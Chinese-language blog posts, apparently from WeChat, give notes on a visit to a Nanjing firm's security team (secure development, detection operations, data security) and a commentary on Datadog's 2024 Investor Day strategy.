参访顶尖企业，做实证案例研究，探寻安全的本质及其核心诉求。

网安市场，跌宕起伏应该是常态。目前进入寒冬，不全是坏事，至少表明有矛盾要解决。人工智能解决矛盾前，潜伏了几十年，如今一点就着，星火燎原。

在这个调整阶段，思辨、分析、创新等能力，正在成为安全从业者的基本生存技能。安全是什么？为什么遇冷？我们要怎么办？

要回答这些问题，这些年的政策解读、发展期望、国外对标等演绎推导显得与当下无关。因此，我们需要践行归纳，重塑理解，实证和案例研究成为必要的途径。尽管追根溯源、探求完整过程的案例研究非常稀少且耗费时间，但它们在厘清网络安全本质与核心诉求方面具有不可替代的价值。

在垂直行业，涛哥牵头组织的行业实验室，通过闭门研讨会等多种形式，汇聚了业内顶尖企业新的思维模式和实践平台。在各大东道主的现场活动中，聚焦具体领域，探讨现实场景、安全概念与技术方案的衔接，切实拓展了大家急需的高质量交流空间。

我有幸参访几家，作为知识搬运工，分享一次笔记，谨作实证案例素材。作为实践者，也从我的视角提供一家之言。

太阳底下没有新鲜事，安全模式、形态、场景比我们想象的多，重要是根据自己内外部条件，做出恰当选择。

一、参访感悟：只有精进的团队才能卷动未来

本月初，参访了南京某头部企业的安全团队，东道主被业内戏称为"卷王"。令人赞叹的是，现场高端大气的大屏，PPT精心编排的大框架，都被有意简略。团队直接展示了他们的实战成果（详见第三部分）：

• 深度自研的赋能平台
• 全打通的多元数据
• 基于真实场景的解决方案
• 业务-研发-安全的创新协作模式

东道主在一个又一个具体的重点上，超越现有的局限，精准识别核心问题，反复打磨，推动产品服务的效果达到新境界。团队展现出：

• 扎实的自研传统和能力，这才谈得上对细节的重视
• 出色的安全策略统筹能力，精准落地的自编规则
• 面对多层次限制和复杂挑战，勇于试验创新的决心
• 谦逊的人品，开放包容且持续创新的文化

没有护城河，但有开放胸襟、海纳百川的态度，并能持续探索与涌现。细细品味，“卷王”从一开始就不是卷出来的 —— 当精进超越了某个临界点，便不再是简单的重复与竞争，而是升华为真正的创新与进化。

---

几次参访引发了我对行业竞争力构建、公共交流空间营造、趋势变化以及安全本质的思考。

二、行业洞察：从现象到本质

1、竞争力再定义：是护城河还是军垦开拓？

• 技术浪潮的快速迭代和广泛普及，使得单纯的技术优势不再能构建起护城河。固守不变的技术架构不仅无法形成优势，甚至加速腐化。

• 在这样的背景下，拥有大甲方背景的顶尖团队，像“军垦”开拓一样，成为创新主力军。

2、公共空间价值重判：看热闹还是看门道？

当下安全行业的公共空间呈现出一个有趣的悖论。

• 大会、标准、生态、联盟以及直播活动越来越多，热闹非凡。
• 内行人冷暖自知，真正的创新和高价值分享，却往往是在闭门环境中产生，主题聚焦，定向深入探讨复杂和敏感问题。

这种现象反映出行业对交流形式的理性回归：从追求声量转向追求深度，从广泛传播转向精准对接，从光鲜亮丽转向衔接现实。

3、趋势展望：去产能还是产业升级？

2025年两个趋势将更加明显：

• 市场加速驱动去产能。当前，网络安全市场低价竞争激烈，产品同质化严重，显示行业正进入去产能的调整阶段。
• 大甲方引领产业升级。大甲方团队之所以成为创新的主力军，是因为他们更贴近市场深层次的需求，且具备整合资源能力，这预示着产业升级的必然趋势。

4、协作模式重构：如何寻找新定位？

市场大浪淘沙，需求去伪存真，场景姿态万千，各方需要经常校准自身定位。

对于一般乙方企业而言：

• 如何通过战略收缩回归产品核心功能？
• 如何将”被集成”扩大为发展优势？
• 在市场调整期如何找到突破口？

对于大甲方而言：

• 如何充分发挥集成、打通、编排、精细化运营的优势？
• 在产品能力构建方面，还需从哪些维度突破？
• 下一轮产业升级中，重点布局方向是什么？

5、回归安全本源：认知就是安全的边界

头部企业的探针、规则、数据规模是普通企业的10倍以上，数字化水平远超想象。我用数字孪生方法做安全研发，网络安全与软件产业数字化、软件数字孪生本就同源同体。

从数字化这个角度看，安全本质是构建数字世界完整认知，表面上包括应用、数据或攻防等安全，更核心的诉求是通过全域感知、精准建模，帮助企业真正理解和掌控自己的数字世界。

在数字化浪潮中，近水楼台先得月，当安全与数字化深度融合，将安全定位为认知数字世界设计形态、制造形态、运行形态的基础设施，而不仅仅是防护手段，这种视角转变可能会带来新的机会和方向，或许可以释放巨大的创新潜能，Security is eating the world， 加油！一切皆有可能！

预祝同仁在新的一年：福慧祥和，法喜充满。

---

接下来的内容是交流笔记，当日信息量太大，本人水平有限，错误疏漏、移花接木难免，请多包涵。

全文无图，师者匿名，非研发及安全人士请直接绕行。

三、实践参考：创新团队的具体实践

开门见山：领导的安全思维方式

领导开场简短，偶有点评，如切如磋，非常到位：

• 关于交流：行业内多交流是高价值的。即便是交流时大家讲的段子、大白话、同行事件，也可以成为汇报中生动简洁的例子，让决策者更容易理解和记住关键信息。
• 关于标准：安全不是标准化的，不是“应该是那样、必须是那样”；是结合每个公司内安全实际的话语权、地位、投入、IT系统建设和部署等综合考虑的；
• 关于安全：安全是结合公司现状的当前实践，涉及团队整合、能力协作乃至办公场地相关的问题，是实打实的东西。    
• 关于能力：没有一个产品能解决所有问题，安全只能说是能力的混搭。更多的需要试探、感知、响应，在实践、复盘过程中，涌现新实践。
• 关于环境：需求是底层逻辑，安全的组织逻辑从属于大框架和大架构，团队设置、人员规模、预算、乃至暴露面收缩，是框架内、平台上思维，而不是当事人视角。

主题1：开发安全

感受：开发安全、内生安全，是“生”、“养”的能力，需要长周期才能形成。Common Criteria甚深，浅尝辄止、半途而废、一锤子买卖的居多，如此研用，做成平台，持续赋能，构建符合高标准安全要求的产品，确属罕见。

要点：

• 开发安全或应用安全，业界从业人员、技术大会、参考资料都比较少，需要有框架来思考、规划自己怎么做。
• 做到一定程度，工具、平台、技术规范、流程都建立之后，强调精细化运营，每个点都要深度运营。
• 安全产品自研，策略上可能和领导偏好有关系；一线工作中，满足自己需求，要很大的定制化，自研可能是最快最有效果的途径，有大量需求

安全和项目长在一起

人员配合：

• 专业安全人员，作为安全顾问，负责几个中心的需求、设计、测试等节点的全周期安全咨询、安全架构设计、安全评估。
• 项目组内的安全对接人员，作为安全BP。要经过安全培训，通过安全考试，能使用安全平台。能画出部署图，是一个门槛。    
• 架构师分两层，中心架构师和应用架构师。会有中心架构师审核通过，但是架构被安全打回去的情况，所以安全要提前加入到架构评审环节。 
• 架构委员会是个实体组织

制度：

• 发布开发安全指引，明确卡点，角色职责，安全实践，尤其是业务强相关的流程。
• 业务部门自己买saas，应用系统直接在互联网，上线要评估，如有高风险，要业务领导签发。
• 对于自研系统的残余高风险，上线需要业、技部门双领导签发，业务部门一般不会和技术部门一起签发自研系统的风险。

开发安全的工具链：

• 安全工具链已经建好，每个工具都在更新
• 工具链很多是集成，能自动化就自动化、
• 建立了安全自动化测试平台，可以进行自动化编排
• 形成了安全测试工具集群
• 自研开发安全赋能平台（单独介绍）

开发安全赋能平台

新应用及应用系统重大变更，须获得剩余风险报告才可上线

在线系统每年至少完成一次安全评估

项目启动第一时间就在平台内建系统，平台自动生成任务单

安全问卷：    

• 安全调查问卷的重点是画出部署图，图不是上传的，是在平台上画，图要精确，威胁建模才能数图联动，后续步骤才能自动化。
• 坚持“费时费力”的部署图。部署图比清单、文字说明更直观，体现用户场景，架构师会审核看是否合理，进而明确安全控制。
• 有标准化的部署图可以复用
• 提供了标准化安全架构，是很重要的卡点
• 每天有一半时间，在做安全评估

威胁建模：

• 开发安全需求分类编号，包含需求来源、理由、目标、内容和最佳实践
• 威胁建模生成安全需求清单，并跟踪至关闭

安全测试：

• CVE、可达性、可利用性误报较多。自己制定的黑名单才是真正标准
• 源代码、组件有自己定制的黑名单，进入黑名单是一定要修复，其他直接放过去。
• 源代码扫描也有误报，也有黑名单，列入黑名单的，才必要修。 
• （精准的黑名单，真体现责任心）

生产验证：

• 安全套件、应用风险、生产漏洞验证

评估报告：

• 安全BP发起审核，安全顾问提供审核意见
  

渗透测试   

测试人员交叉验证，防止测试疲软。

以史为鉴，及时复盘：

• 如果发现越权的多，就要在前期进行沉淀和整改
• 设计缺陷，提供解决方案
• 安全编码培训课程，有考试，让外包进行培训（宰相家丁知府职！）
• 自己写安全案例库，如短信验证码不失效等问题

开源及容器安全

• 外部引入的容器镜像，需要扫描，修复漏洞后才能入库、上线。有大厂提供的容器，被扫除1000+漏洞，修复后才上线。

• 自研的容器镜像，主要做好基础镜像的安全

应用攻击面系统

• 覆盖互联网系统、开放端口、web站点、域名、api接口、公共号、小程序、saas、IP资产。

全打通：

• 应用系统的基础资源，列出图，关注IP、策略
• API资产，和全流量溯源、平台应用登记等去重分析汇总
• 自动化测绘，发现新暴露端口、管理页面，可以自动化处置
• 多种扫描器打通，所有日志打通

主题2：安全攻防

感受1： 精细化运营可以提升对复杂攻击的应对能力，确保‘有备无患’。

感受2：自研能力的提升为应对未来威胁提供了更强的适应力，也是用户体验的关键。

感受3：积累了丰富的“临床试验 + 治疗能力”。

优先事项：精细化运营 + 自研能力提升

核心策略是通过自定义规则和深度学习内网活动，来精细化运营、减少误报并提升整体检测能力。更重视对日志源的控制与利用、内网横向渗透测试以及安全防御策略的持续验证。这些措施有助于提升对高级持续性威胁（APT）等复杂攻击的防御能力。

数据计算：探针数据化，能力规则化

• 采集80+种日志，采集器、检测系统非常多元，每日新增10T级数据

• 以数据为中心，自己写规则检测威胁，作为大量的探索实验和能力积累的沉淀

• 资产信息维度多，且实现了关联

• 探索性攻击系统，看有什么日志，没有日志要采集新日志，有日志没告警就要配置规则

厂商可辅助，但不能依赖

随着数据积累和技术平台的完善，如何与厂商的合作也成为了一个关键议题。有了技术、数据、平台，怎么看厂商：    

• 越来越希望有全量数据，有更底层的数据，而不是依赖厂商产品加工后的数据
• 不满足于厂商简单策略的自动化，基于数据的更多字段，实现更灵活的控制、压制能力
• 厂商可以帮助发现问题，指出你的某项检测能力和业界相比较差，但是调研、研究、检查，还需要一个个场景自己去做，实际也是自己一个个做出来的。
• 团队必须掌握完整技能栈，厂商可辅助，但不能依赖

守住关键：朴素的防护原则

防护原则：

• 暴露面最小化，服务器访问纵深化，特权账户最小化，检测能力定制化，补丁最新化。

零日漏洞：

• 回归到内网渗透，因为要假定防御设备扛不住，打进来之后要能捕捉到关键攻击信号，把入侵踢掉，让入侵者不能横向移动，成功止血。
• 防御时单点的误报率比较高，但是要把多种信号串起来
• 自定义规则，才可能有高置信度的告警
• RASP防零日漏洞确实有用，能多抗一段时间，让黑客放弃转而去追逐其他目标

国产组件：     

• 国产组件或开源组件，需要自己去搜集漏洞，扫描器很多不支持国产组件，或者历史漏洞扫描不出来，但是攻防时这类就类似0 day，就有人打进来

漏洞运营：

• 停止在不会带来风险的漏洞上浪费时间
• 自动化，修补确实有风险的3-5%的漏洞
• 漏洞直接发单到责任人，修复自动关闭
• 需要异构扫描器、多种扫描方式、覆盖不同服务类型；还需要收集常用POC，自己去扫，并脚本化

SOAR形成协同作战平台：

• 用API集成、打通分散的安全能力，形成协同作战平台
• SOAR作为安全自动化的中枢，按照剧本，打通、触发组织动作
• 邮件安全、社工攻击剧本实践：技术繁杂、沙箱类别多，联动环节多，暴露面收缩、限制使用行为也很关键。

攻防演练：

• 演练需要设计能达到的目标，确保有效果，能找到问题，事先合同约定未达到预设目标要扣款。
• 预设目标：外部要突破互联网边界，内部要获取应用权限或堡垒机权限等

攻击面收缩的老难题：    

• 攻击面收缩面临的主要问题包括重视不足（同行出丑闻后才下决心）、安全团队话语权低（提了但未得到认可，或者就没往上提准备自己抗锅）、安全与用户体验冲突。
• 主要表现为系统过度暴露、不当配置管理和安全措施被忽视。
• 要有效收缩攻击面，需各方认可的安全意识，风险评估上报机制。
  

主题3：数据安全

感受：错综复杂的数据安全，让人感觉无从下手。庖丁解牛，大体就是这样吧。    

要点：

• 数据安全能力建设，应是更新的领域，场景差异明显。
• 数据安全成本高、影响大、监管多变。
• 处罚力度相对人性化，一般当事人的上级会先说“这类数据不重要”、“业务需要”。

数据安全实践的核心逻辑

“PbD（隐私设计理念）+SDLC（软件开发生命周期）”、“数据全生命周期”、“数据安全运营”、“重点能力建设”相结合：

• 横向上，软件生命周期中的每个阶段都涉及数据安全需求，和开发安全实践深度绑定，隐私设计嵌入软件生命周期。即通过各个工序阶段、持续的风险评估，确保数据在生命周期内符合合规要求。
• 纵向上，以外防内控的场景为抓手，做资产探测、流转检测、防泄漏、UEBA重点基础能力；也能从数据全生命周期构建更精细的场景化技术能力。即构建以技术为支撑的场景化能力，确保各环节数据安全。
• 闭环角度，运营能力的核心在于将静态设计（软件生命周期）和技术能力（数据生命周期）动态化、闭环化，实现全局化、实时化的数字安全管理。

具体数据安全能力建设

数据安全评估能力建设：

• 基线化：制定清晰的评估基准，翻译“法律语言”为“业务语言”，便于业务与技术人员理解与实施。    
• 工程化：将数据安全与个人信息保护措施融入业务流程的全生命周期（SDLC）。包括合规性评审、需求分析与设计、编码、测试、发布上线、持续运行监控等阶段。
• 技术化：研发自动化数据安全与隐私保护检测工具，（逆向多），提高检测效率并生成分析报告。

APP 安全隐私管控：

• 定期评估：识别隐私风险并设计改进方案，确保新旧版本的App均符合法律与监管要求。
• 制度规范：建立内部隐私管理制度，明确责任分工与技术管理措施。
• 完整保护体系：将隐私保护要求嵌入开发全流程，建立隐私政策更新与技术测试机制。

重要数据梳理与处理：

• 识别重要数据范围：明确数据的种类、应用场景、存储位置及访问权限。
• 清单化管理：形成重要数据清单，指定针对数据的保护措施，确保及时发现和应对异常操作。
• 全流程监管：从数据的收集、处理到存储，实现全面分析和风险预警。

数据安全溯源来源：

• 外部监测：实时监测外部社交平台、交易活动等信息泄露情况。    
• 客户投诉受理：处理涉及数据泄露的客户投诉，定位数据安全事件根源。
• 内部事件分析：通过行为分析和日志记录发现潜在数据风险。

人员管理与安全：

• 外包管控：基于API和数据监测能力识别外包操作的异常行为。
• 离职审计：分析员工离职后的潜在数据风险，防止数据泄露。

数据分类与保护技术手段：

• 使用技术手段（如Hook系统、日志数据分析、隐私检测技术）对网络数据、日志数据及个人隐私数据进行深度分析和实时保护。

LLM: 从攻防、应用安全看数据安全

阅读原文

跳转微信打开

DataDog手里都是王炸？是学、是跟、是抄、是躲、还是争？

群友Larry S推荐DataDog Investor Day投资者大会，说值得反复看几遍。我涉猎该领域，学习后深以为然，DataDog作为领先的可观测性和安全平台，值得同仁借鉴，它有助于解除思维惯性的桎梏，提升技术创新的信心。

DataDog手里都是王炸？是学、是跟、是抄、是躲、还是争？若要深究的话，“生命以负熵为生”，DataDog帮大家的工作降熵了，那它消耗了什么能量和资源？每年付费给DataDog大几百万美元的狗大户，真的甘之如饴、两情相悦？国内Datadog 竞品如观测云，能出海虎口夺食，把客户转化到了他们系统中。谁都有机会，大家加油！

感想1：宛如交响乐的投资者大会

2024年2月DataDog的投资者日宛如一场精心编排的交响乐。活动开场设定了鲜明主题。核心信息——平台优先、数据核心、组织协同等——犹如反复出现的主旋律，在各位演讲者的阐述中不断重现，层层递进，余音绕梁。

众多演讲者的"乐章"，都围绕这些主题展开，保持一致性的同时又各具特色，略添新意，让关键信息在听众心中久久回荡。演讲节奏适中，非常注意衔接流畅，让听众轻松接受。

整体而言，Datadog成功将复杂的商业战略转化为引人入胜的"听觉"盛宴，这场投资者日的妙手安排，有效传递并植入了品牌理念。

感想2：武学奇才不走寻常商业路

在科技江湖中，Datadog宛如一位武学奇才。他不走教条路，甚至反叛经典，练成了神功，开宗立派。

他傻憨憨地以底层技术平台先行于应用和业务架构，刚开张时差点无人投资饿死。但也因此练就了一身"统一实时数据平台"的深厚内功，再逐步开发各式各样的"功法"（产品）。

他走的是群众路线，朴实到解决问题先行于产品设计。以解决一线用户问题为根本，深入体察"江湖儿女"（用户）的痛处，哪怕是最微弱的"菜鸟"之言，再锤炼出相应的"武功秘籍"（解决方案）。

正是这种脚踏实地、虚心若愚的态度，让他们不断破级进阶，攻城略地，在纷繁复杂的科技江湖中独树一帜，财源广进，宗门兴旺。

主题1：技术平台优先

1.1 宏观叙事背景：技术变革与复杂性

技术创新→复杂性的爆炸式增长

"当你倾向于技术创新时，你就面临着复杂性的爆炸式增长。"

数字化转型是必要的，因为它能带来更好的商业成果。数字化转型的技术创新，导致技术复杂性的指数级增长，包括技术数量、计算单元、软件变更频率和参与人员的爆炸式增长。

理解基础设施和应用程序的变化方式

“we understand the way infrastructure and applications are changing. We also connect separate teams to each other across functions.”

Datadog公司的存在就是为了解决客户面临的这种巨大的复杂性问题，通过连接所有软件组件、扩展基础设施和服务，并理解基础设施和应用程序的变化方式来应对这一挑战。

1.2 统一实时数据平台奠定基业

产品哲学是：平台先行，易用深涵

"简单，但不简陋"（原文："Simple, but not simplistic"）

Datadog的产品成功基于两个核心理念：首先，从一开始就构建一个开放、统一的平台，所有产品在架构、数据和用户界面层面深度集成，支持跨数据集、跨产品和跨团队的端到端用例。

其次，专注于开发易于采用的产品，做到简单但不简陋。产品应该能在几分钟内部署，无需繁琐的培训，能快速显示价值，如同电子表格一样易用。

同时，用户可以无限制地定制和扩展功能。这种方法使Datadog能够被广泛部署和使用，覆盖各种基础设施和应用组件，服务于从开发者到高管的各类用户，最终打破团队间的壁垒。

平台先于产品，艰难而正确的选择

“构建广泛的平台作为基础，而不是专注于单一产品；在平台基础上开发多样化的用例和产品；长远眼光可能带来更大的市场成功”

Datadog的成功源于其独特的战略——首先构建统一数据平台，然后在此基础上开发各种产品。尽管这种方法最初被认为是错误的选择，甚至给公司融资带来困难，但最终证明这种广泛的平台方法奠定了Datadog在市场上成功的基础。统一平台使Datadog能够快速开发新产品，无缝整合各种功能，并为客户提供全面的可观测性解决方案。平台的强大功能还为AI创新奠定了基础，使Datadog在AI时代保持领先地位。

- 整合优化：将各种功能整合into.全面可观测性平台

从技术到业务的反向架构旅程

"因为我们无处不在，被所有人使用，我们与客户有着非常广泛的接触面，这反过来使我们能够在这个接触面内为他们解决越来越大的问题，同时受益于我们共享的统一平台，使我们能够更快地进入这些新领域。"

【参】Datadog的架构旅程，基于共享统一平台，从技术基础开始,逐步向上层数据、应用发展,最终实现业务价值。每个阶段都建立在前一个阶段的基础之上,形成了一个完整的、自底向上的架构旅程。这种方法的优势在于:确保了强大的技术基础，允许灵活的数据处理和分析，支持多样化的应用开发，最终能够提供针对性的业务服务。

1.3 数据整合，哪里还有孤岛

只要你足够好，你就能代表”单一真相源“

”Datadog能够从多个源头收集数据并提供一致的信息视图，这有助于打破组织内部的信息孤岛，确保所有用户都能获取相同且准确的数据，从而成为可信的‘单一真相源’。“

平台优先其实是最优策略

"统一数据平台允许所有客户在不同产品之间无缝导航。"

7) 打破孤岛：消除产品之间的隔离，提高整体效率

1.4 产品互联，我就是你的生态

有好平台，才能精益和敏捷

"建立平台优先的策略确实需要更多投资，但这种投资让我们能够更快地行动并构建更好的产品。"

DataDog采用平台优先的策略来开发产品。公司一半的工程师致力于平台开发，另一半专注于各种产品。这种策略使得产品团队能够保持精简高效。例如，年收入5亿美元的日志管理业务只需30名工程师，而云成本管理解决方案仅用10名工程师就快速完成。这种高效率归功于强大的统一数据平台，使得各产品紧密互联。通过对数据进行透视和处理，DataDog能够解决新问题，开发新产品，如云安全解决方案和软件交付分析。这种平台与产品之间的良性循环效应使公司能够不断创新，为客户提供更大价值。

客户越来越倾向可以互相协作的产品

“这就是平台的力量，由于构建在平台之上，这些功能自然而然地相互连接。”

“只要这些新产品能够继续反映企业的运作方式并与现有产品互联，就会受到客户的欢迎。”

演讲者强调了产品的互联性对于客户的重要性，即各种工具和服务需要能够无缝协作以提高效率和解决问题。通过持续推出新产品并确保它们能够互相连接，企业能够打破沟通和技术上的孤岛效应，实现更加协调一致的工作流程。

1.5 数据是AI的最终优势

干净的数据是AI的最终优势

"我们认为，AI最后的差异化优势不在于你拥有多少GPU或使用多么复杂的模型。当然，这些很重要，但还不够。我们认为，最后的优势最终在于可用于训练、微调、推理的数据，以及大规模管理这些数据的能力。"

"因为我们是客户关键工作流程的一部分，他们不断向我们发送的数据可以说是他们整个技术栈中最丰富、最干净和最准确的数据。"

5) 循环往复 → 保持竞争优势

如何打赢与复杂性的竞赛？

"这是关于使我们的客户变得更好、更快和更高效，让客户的力量提高一个数量级。"

"CLOSING THE LOOP"体现了Datadog致力于提供一个完整的、自动化的、以客户为中心的数据驱动决策和行动平台。这个概念强调了从数据到洞察,再到行动的完整过程,并通过自动化来持续优化这个过程。

通过预防问题而不是被动响应，以及尽可能自动化基础工作，公司旨在赢得与复杂性的竞赛。演讲者认为公司有独特优势来实现这一目标，包括纯SaaS模式、对客户工作流程的深入了解、丰富的数据集以及AI和机器学习的发展。

主题2：解决一线用户的问题优先

2.1 从一线用户问题出发，妥妥的群众路线

从问题出发构建解决方案

“我们并不说我们在构建产品，我们说我们在为客户解决问题。”

Michael Whedon讲述了Datadog如何通过以客户问题为导向来构建产品。公司首先搭建了一个平台，整合所有数据、指标和事件，再基于这些数据决定如何为客户开发解决方案。Datadog的产品开发策略不是直接构建产品，而是解决客户面临的问题，然后再将这些解决方案转化为产品。这种方法确保了产品与客户需求高度一致，并能在快速变化的技术环境中保持领先。

【思】有了数据，才去构建解决方案。而不是先设计产品，让用户提供更多数据，再形成解决方案。

【客户声音案例】“你能不能先把我的需求100%解决了，而不是解决我70%的问题，然后要求我做这做那，消化你创造的概念，增加我的操作步骤，要我投入更大精力帮你完成你所谓的产品规划，你的那些是多余的。”

通过解决问题来驱动产品演进

"这不是我们在策划'钱在哪里，接下来会发生什么'。这是我们在努力为客户解决问题。虽然听起来可能平凡或陈词滥调，但这就是事实。"

6. 平台持续扩展，解决更多问题（用户体验），吸引更多部门参与

平台最初专注于帮助运维团队管理基础设施。随着时间推移，平台逐渐扩展到支持更广泛的公司职能，包括开发人员、日志管理和安全团队。这种演进不是预先规划的战略，而是通过持续解决客户问题而自然发展的结果。平台的成功在于它能够快速适应新技术和用例，并促进公司各部门之间的协作。

2.2 反微笑曲线的发展策略

“通过拓宽我们的范围并消除痛苦的集成点，我们看到了平台价值的显著提升。”

“整个平台的价值远高于其各个部分的总和。”

“讽刺的是，他们（运营团队）离用户的实际体验最近。”

Datadog从最初的可观测性领域起步，逐步扩展到覆盖云安全、软件交付、用户和产品分析等多个新领域。

通过不断整合和扩展功能，Datadog消除了不同工具和团队之间的摩擦，提高了平台的整体价值，目标是帮助客户更好地协调人员、管理系统并自动化响应，以应对复杂的业务需求。

【思】反微笑曲线的胜利。Datadog的定位作为云服务提供商确实限制了它直接接触客户的代码和核心业务的能力。然而，这种限制也恰恰成为了它的优势 —— 通过专注于中间层的监控和分析，Datadog能够为广泛的客户提供价值，同时避免了深入每个客户特定技术栈和业务模型的复杂性。

在面对日益复杂的云环境和技术应用时，为何应当首先关注和支持运营（Ops）团队的需求。随着技术在人们生活中的作用日益增强，确保数字体验的质量变得至关重要。运营团队虽然不直接参与产品设计或开发，但他们却是最接近实时用户端体验的人。当用户遇到不良体验时，往往是运营团队成员被紧急唤醒去解决问题。因此，在基础设施监控领域，运营团队是最需要支持和关注的对象。随着技术复杂性的增加，运营团队面临着最大的压力和挑战。他们是处理用户问题的第一线，并且对于维护良好的用户体验至关重要。因此，提供有效的监控工具和诊断信息能够帮助运营团队更好地应对挑战，确保服务的稳定性和可靠性。

2.3 智能化运营，帮你圆梦

“我们正在收集所有这些丰富、干净的数据，将所有的数据、变更事件、遥测数据以及组织意识，如团队和服务名称等信息结合起来，赋予Datadog一个绝佳的机会来增加智能，并将所有这些信号转化为人类可消费的故事。”

"这是一个故事，单个数据点无法讲述，但我们需要将其汇总成一个故事，这样当我被呼叫时，我面前就有一个故事，我知道发生了什么，知道该找谁谈话，知道该采取什么行动。"

“梦想不是让你在凌晨3点被数据唤醒去修复系统，而是让你在早上正常时间醒来，收到Datadog的消息说，我们已经帮你修复了问题，这是一个更美好的未来。”

Datadog拥有超过700种集成，并持续增加更多，这使得它能够收集丰富的数据，结合变更事件和遥测数据，再加上组织内部特有的团队和服务名称等信息，从而提供更加智能的服务。最终目的是将这些数据转化为人类可理解的信息，以便于在出现问题时快速定位并解决问题。

演讲者还提到了自动化的发展趋势，未来可能实现无需人工干预的问题解决流程。

2.4 数字化转型，对抗睁眼瞎

"我们正在努力使整个组织的每个部分都能使用这些工具。" 

"如果你不是数字原生企业，你很可能正在被一个数字原生企业颠覆。"

"数字化转型正在迫使组织转型，而他们所使用的工具并不适合现代化的创新需求。"

"这种数字化转型正在推动组织变革，公司越来越多的部门开始关心移动应用体验，因为它正成为整个业务的重要支撑。"

传统饮料公司案例：公司最初使用了少量的产品进行基础设施监控，随着向云端迁移和数字转型的推进，他们逐渐增加了更多产品。然而，公司面临的主要挑战并非技术层面，而是组织结构、人员和政策等方面的阻碍。公司希望使用现代技术栈来解决这些问题，例如审计、强制执行、警报和修复等。

电子商务网站案例：以移动应用为例，说明了如何利用数据分析工具来快速识别、评估和解决问题。这种方法不仅能帮助工程师更好地理解用户体验和业务影响，还能促进跨部门协作，使公司各个部门更加关注移动应用体验，因为它逐渐成为整个业务的重要支撑。

2.5 谁的钱我都要赚

"And what we find is there's a very strong correlation, of course, between what they spend with us and how many products." （“我们发现，他们与我们的交易额与使用的产品数量之间存在非常强的相关性。”）

公司正在通过扩大平台功能以及增加使用该平台的人群来推动业务增长。他们强调了随着产品线的拓展，客户对多产品的采用率也在提升，这不仅包括现有的一两个产品，甚至扩展到了八个产品。同时，演讲者指出，虽然有部分客户已经广泛使用了他们的产品，但还有大量客户尚未完全利用平台的所有功能，这意味着还有很大的市场潜力可以挖掘。此外，客户对平台三个核心支柱的全面采用与其消费额之间存在强烈的正相关性。

主题3：融合可观测性和安全

3.1 背景：割裂的开发、运营和安全

"为了保护云原生应用，你需要一个统一的平台，成为将应用、基础设施、日志和所有这些组件整合在一起的单一窗口。你需要使开发人员、运营人员和安全团队能够协作，实现DevSecOps模型。"

在现实中，dev/ops/sec团队被称为silos是因为它们通常独立运作，使用各自的专门工具和数据源，缺乏有效的信息共享和协作机制。这种隔离导致了信息不对称，影响了团队间的协作效率，使得统一处理安全问题变得困难。

云原生应用的安全需要解决两个主要问题：应用本身的复杂性和人员协作的挑战。云原生应用由应用代码和基础设施代码组成，生成日志和指标，并由多个微服务构成。安全这些应用意味着在高性能通信和识别恶意活动之间找到平衡。人员方面，开发人员频繁部署代码，运营团队需要实时解决问题，而安全团队则需要与其他团队协作。要解决这些挑战，需要一个统一的平台，将所有组件整合在一起，并促进开发、运营和安全团队之间的协作，实现DevSecOps模型。

3.2 用可观测性的筷子，夹住了安全的菜

“安全责任从不再只是小团队的事情，而是全员的责任。”

"We're just putting everything, I would say, a click away from the customer."

新推出的DevSecOps解决方案，这些解决方案将基础设施监控与云安全管理、应用性能监控（APM）与应用安全管理相结合，帮助客户更好地满足日益增长的安全需求。最后，他强调，通过统一平台，安全责任将从小团队扩展到全体团队成员，并显著简化了内部交易流程。

这些产品可以通过Datadog平台轻松启用，只需几次点击即可从最佳的可观测性产品中启用安全功能。这使得客户可以轻松地从开发和运维（DevOps）过渡到开发、安全和运维（DevSecOps）

3.3 为什么能夹安全的菜？

云原生应用的安全性可以通过将DevOps与安全团队整合在同一平台上来实现，从而消除团队之间的孤立。除了提供端到端的安全产品之外，公司还通过服务管理闭环来进一步提升安全性。

3.4 为什么敢夹安全的菜

通过平台化的安全产品，Datadog能够实现大规模的无摩擦用户采纳，并提供深度的上下文信息、高效的操作性能和低成本优势。最终，这些产品帮助用户将安全检测转化为实际成果，从而避免传统安全产品高成本且无效的现象。

主题4 差异化的市场策略

4.1 狗大户不用参会！

【思】大客户驻场主动服务，中型客户开会集中服务，菜鸟客户就是药炉炼丹用。

“If we don't make our platform easy use with strong documentation, this group will quickly let us know.” 【重视菜鸟用户】

大型企业：数据狗公司根据客户规模划分了不同的销售策略。对于5000名员工以上的大型企业客户，公司采用专门的企业销售团队服务，岗位齐全。

中型企业：商业销售团队专注于识别具备云迁移潜力和技术能力的客户，通过社区活动、网络研讨会等营销活动获取潜在客户。新客户由商业销售团队获取后，几个月后转交给客户成功团队维护，商业销售团队继续寻找新客户。。

菜鸟客户：Datadog 软件公司不仅关注大型企业客户，还积极拓展包括小型初创公司、学生和工程师在内的广泛用户群体。公司提供自助服务和免费试用，让用户无需销售人员介入即可开始使用。这些用户虽然初期消费不高，但对公司至关重要，因为他们中的一部分未来可能成长为大客户，或者在其他公司担任重要角色时继续使用 Datadog。此外，服务小型公司也促使 Datadog 保持平台的易用性和文档的完善性。

4.2 您别自我陶醉，我让会计来算算成本！

“关键收获是，他们希望让工程师把时间花在核心业务上，而不是可观测性上。”

“总拥有成本”视角下，如何衡量开源与商用解决方案的价值。一家医疗公司曾使用多种开源技术和商用解决方案，最初认为开源免费且成本较低，但经过商业价值评估，发现开源的管理成本和工程团队时间消耗巨大。尽管Datadog的方案在初始报价上看似更昂贵，但从长期来看，总拥有成本仅为他们之前的三分之一，实际性价比更高。“

4.3 满手好牌，赚个盆满钵满……

“我们致力于解决客户的问题，很多产品决策都来自于与客户的互动，帮助他们解决更广泛的问题。”

阅读原文

跳转微信打开

用大数据连接时空（数字孪生），用智能分析提炼信息（压缩降熵），用内心智慧（科技向善）来理解和完善现实秩序。

"你无法预先把点连接起来；只有回头看时，你才会发现它们是如何连在一起的。所以你必须相信，你现在所经历的种种，将在你未来的某个时刻连接起来。你必须相信某些东西——你的直觉，命运，人生，因果，随便什么。"

~史蒂夫·乔布斯

